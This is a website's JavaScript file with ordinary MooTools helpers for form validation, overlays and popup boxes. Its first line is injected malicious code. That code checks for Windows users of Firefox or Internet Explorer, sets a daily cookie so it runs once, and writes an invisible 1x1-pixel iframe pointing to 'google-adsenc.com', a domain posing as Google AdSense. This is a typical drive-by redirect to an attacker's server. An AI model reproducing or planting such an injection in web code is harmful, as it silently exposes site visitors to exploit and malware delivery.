var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
//Show layer alt
function showAlt(pName, pArgs, pEvent){
	vObj = $(pName);
	if(!vObj){
		pArgs.id = pName;
		vObj = new Element('div', pArgs);
	}else vObj.set('html', pArgs.html);
	
	vBody = $$('body');
	vBody.adopt(vObj);

	vObj.setStyle('top', pEvent.page.y+5);
	vObj.setStyle('left', pEvent.page.x+5);
	vObj.setStyle('opacity', 0);
	vObj.setStyle('display', 'block');
	vObj.fade('in');
}

//Hide layer
function hideAlt(pName){
	vObj = $(pName);
	if(vObj)  vObj.setStyle('display', 'none');
}

function scrollToElement(pElement){
	var vScroll = new Fx.Scroll(window, {
		wait: false,
		duration: 500,
		offset: {'y': -20},
		transition: Fx.Transitions.Quad.easeInOut
	});
	vScroll.toElement(pElement);
}

function getRadioValue(element){
	value = '';
	if(element.length && element.length>0){
		for(var i=0;i<element.length;i++){
			if(element[i].checked) value=element[i].value; 
		}
	}else {
		if(element.checked) value = element.value;
	}
	return value;
}

//Check fields
function checkFields(form, except){
	var flag = true;
	form = $(form);
	var elements = form.getElements('.field-required');
	elements.each(function(element){
		element.removeClass('field-required');
		element.removeEvents('mouseenter');
		element.removeEvents('mouseleave');
	});
	elements = form.getElements('.required');
	elements.each(function(element){
		switch(element.type){
			case 'text':
				if(element.value==''){
					element.removeClass('field-required');
					element.addClass('field-required');
					flag=false;
				}
			break;
			case 'password':
				if(element.value==''){
					element.removeClass('field-required');
					element.addClass('field-required');
					flag=false;
				}
			break;
			case 'select-one':
				if(element.value==''){
					element.removeClass('field-required');
					element.addClass('field-required');
					flag=false;
				}
			break;
			case 'textarea':
				if(element.value==''){
					element.removeClass('field-required');
					element.addClass('field-required');
					flag=false;
				}
			break;
			case 'radio':
				elementRadio = eval('form.'+element.name);
				var value = getRadioValue(elementRadio);
				if(value==''){  
					flag=false;
					element.removeClass('field-required');
					element.addClass('field-required');
				}
			break;
			case 'checkbox':
				elementCheckbox = eval('form.'+element.name);
				var value = getRadioValue(elementCheckbox);
				if(value==''){  
					flag=false;
					element.removeClass('field-required');
					element.addClass('field-required');
				}
			break;
		}
	});
	checksErros(form);
	return flag;
}

//Check errors
function checksErros(form){
	if(form) vElements = form.getElements('input[class*=field-required], select[class*=field-required], textarea[class*=field-required]');
	else vElements = $$('.field-required');
	vMessage = $('field_required').value;
	vElements.each(function(pField){
		pField.addEvent('mouseenter', function(e){
			showAlt('error-field', {'html':vMessage}, e);
		});
		pField.addEvent('mouseleave', function(){
			hideAlt('error-field');
			if(this.value!='') {	
				this.removeClass('field-required');
				this.removeEvents('mouseenter');
				this.removeEvents('mouseleave');
			}
		});
		pField.addEvent('blur', function(){
			hideAlt('error-field');
			if(this.value!='') {	
				this.removeClass('field-required');
				this.removeEvents('mouseenter');
				this.removeEvents('mouseleave');
			}
		});
	});
	if(vElements.length>0){
		vElements[0].focus();
		alert($('field_required').value);
	}
}

//Show / hide overlay
function overlay(action, name){
	var name = (name!=null && name!='')?name+'_overlay':'overlay';
	var overlay = $(name);
	if(!overlay) overlay = new Element('div', {'id':name, 'class':'overlay'});
	var body = $$('body');	
	body.adopt(overlay);
	
	switch(action){
		case 'hide':
			//Masquage
			new Fx.Tween(overlay, {duration:500, onComplete:function(element){
				element.setStyle('visibility', 'hidden');
			}}).start('opacity', 0.8,0);
		break;
		case 'show':
			//Affichage
			var height = window.getScrollHeight();
			overlay.setStyle('width', '100%')
			overlay.setStyle('height', height);
			visibility = overlay.getStyle('visibility');
			if(visibility=='hidden'){
				overlay.setStyle('visibility', 'visible');
				overlay.setStyle('opacity', 0);
				new Fx.Tween(overlay, {duration:500}).start('opacity', 0,0.8);
			}
		break;
	}
}

var gBoxs = new Array();
function showBox(url, options){
	var name =''; var width=0; var height=0; 
	if(options) name = options.name;
	
	overlay('show', name);
	
	//init
	var height = window.getHeight();
	var width = window.getScrollWidth();
	var functionOnComplete = null;

	if(options){
		width = options.width;
		height = options.height;
		functionOnComplete = options.onComplete;
	}
	
	var body = $$('body');
	name = (name=='')?'popup':name;
	gBoxs.push(name);
	
	//event
	if(gBoxs.length==1){
		body.addEvent('keypress', function(e){
			if(e.code==27) {
				var boxs = gBoxs.clean();
				name = boxs.pop();
				closeBox(name);
				if(gBoxs.length==0)  body.removeEvents('keypress');
			}
		})
	}

	/*var loadingbox = new Element('div', {'id':'cboxLoadingGraphic', 'class':'box', 'html':''});
	loadingbox.setStyle('height', window.getScrollHeight());
	body.adopt(loadingbox);*/
	
	var target = $(name);
	if(!target) target = new Element('div', {'id':name, 'class':'popup'});
	if(width!=0) target.setStyle('width', width);
	if(height!=0) target.setStyle('height', height);
	body.adopt(target);
	
	var request = new Request ( {
		url: url,
		method: 'post',
		evalScripts: true,
		onSuccess: function(data){
			//loadingbox.destroy();
			target.setStyle('opacity', 0);
			target.set('html', data);
			
			coordinates = target.getCoordinates();
			height = window.getHeight();
			width = window.getScrollWidth();
			width =  (width-coordinates.width)/2;
			height = (height-coordinates.height)/2;
			height+=window.getScrollTop();
			if(height<0) height=0;

			target.setStyle('left', width);
			target.setStyle('top', height);
			target.fade('in');
			
			if(functionOnComplete) functionOnComplete.run();
		}
	});
	request.send();
}


function setOptionValue(element, value){
	var flag=false;
	if(element){
		if(element.options){
			for(i=0;i<element.options.length;i++){
				option = element.options[i];
				if(option.value==value) {
					option.selected = true;
					flag=true;
					break;
				}
			}
		}
	}
	return flag;
}

function setRadioValue(element, value){
	var flag=false;
	if(element.length>0){
		for(i=0;i<element.length;i++){
			if(element[i].value==value) {
				element[i].checked = true;
				flag=true;
				break;
			}
		}
	}
	return flag;
}

function closeBox(name){
	if(gBoxs) gBoxs.pop();
	
	overlay('hide', name);
	name = (name==null)?'popup':name;
	var target = $(name);
	if(target) target.destroy();
	
	window.removeEvents('keypress');
}

function openNewsletter(){
	showBox('/newsletter', {name:'box_newsletter', width:'95%', onComplete: function(){initNewsletter()}} );
}

function displayPopup(url, height, width, name, scrollbars){
  var top=(screen.height-height)/2;
  var left=(screen.width-width)/2;
  var scroll='yes';
  if(scrollbars) scroll=scrollbars;
  win = window.open(url, name, 'width='+width+',height='+height+',top='+top+',left='+left+',toolbar=no,scrollbars='+scroll);
  if(win) win.focus();
}

